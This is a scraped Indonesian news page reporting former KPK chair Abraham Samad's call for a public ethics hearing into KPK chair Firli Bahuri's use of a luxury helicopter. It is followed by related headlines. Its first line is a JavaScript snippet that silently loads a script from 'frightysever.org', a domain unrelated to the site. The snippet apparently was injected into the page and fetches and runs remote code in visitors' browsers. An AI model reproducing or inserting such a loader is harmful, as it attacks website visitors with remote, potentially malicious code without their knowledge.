(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Mantan Ketua Komisi Pemberantasan Korupsi (KPK) Abraham Samad mendesak agar sidang etik terhadap Ketua KPK Firli Bahuri oleh Dewan Pengawas (Dewas) KPK digelar terbuka.
Permintaan itu disampaikan Samad karena untuk menghindari adanya kecurigaan dari publik proses berjalannya sidang etik terkait kasus penggunaan helikopter mewah yang diduga dipakai Firli.
“Saya mendesak seyogyanya sidang dibuat terbuka agar publik bisa melihat dan memberikan pendapat, jangan ditutup yang hanya akan memunculkan prasangka negatif terhadap hasil pemeriksaan nanti,” kata Samad di Jakarta, Selasa (25/8/2020).
Samad pun teringat ketika masih sempat menjalani sidang etik saat memimpin lembaga antirasuah itu. Dia mengaku ketika itu sidang etik dirinya dan mantan Wakil Ketua KPK Adnan Pandu Praja digelar secara terbuka.
“Seperti waktu sidang etik terhadap kami dalam kasus bocornya sprindik Anas Urbaningrum beberapa tahun lalu. Saat itu, saya dan Pak Adnan Pandu disidang terbuka oleh Majelis Etik yang ditonton media,” ungkap dia.
Selain itu, kata dia, beberapa kasus pelanggaran etik penyelenggara negara juga disidangkan terbuka seperti sidang oleh Dewan Kehormatan Penyelenggara Pemilu (DKPP) ataupun pada sidang kasus “papa minta saham” oleh Majelis Kehormatan Dewan (MKD) DPR RI pada 2015 lalu.
Menurutnya, sidang etik tertutup oleh Dewas KPK terhadap pimpinan KPK saat ini berpengaruh terhadap akuntabilitas pemeriksaan sehingga publik akan curiga.
“Apalagi beberapa anggota dewas berasal dari mantan hakim yang terbiasa dengan sidang terbuka. Ini aneh,” ujar Samad.
Sebelumnya, Dewas KPK telah menggelar sidang etik terhadap Firli secara tertutup di Gedung Pusat Edukasi Antikorupsi atau Gedung KPK lama, Jakarta, Selasa.
Sidang tersebut digelar atas aduan dari Masyarakat Antikorupsi Indonesia (MAKI) ke Dewas KPK mengenai penggunaan helikopter mewah oleh Firli saat perjalanannya dari Palembang ke Baturaja, Sumatera Selatan, Sabtu (20/6).
MAKI menilai perbuatan Firli tersebut bertentangan dengan kode etik pimpinan KPK yang dilarang bergaya hidup mewah.
Dewas KPK akan melanjutkan kembali sidang etik Firli pada Senin (31/8) karena dari enam saksi yang dipanggil baru dua saksi yang memberikan kesaksian. Selain itu, Firli sebagai terperiksa juga akan hadir kembali pada sidang pekan depan.(suara)
Editor: suara
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.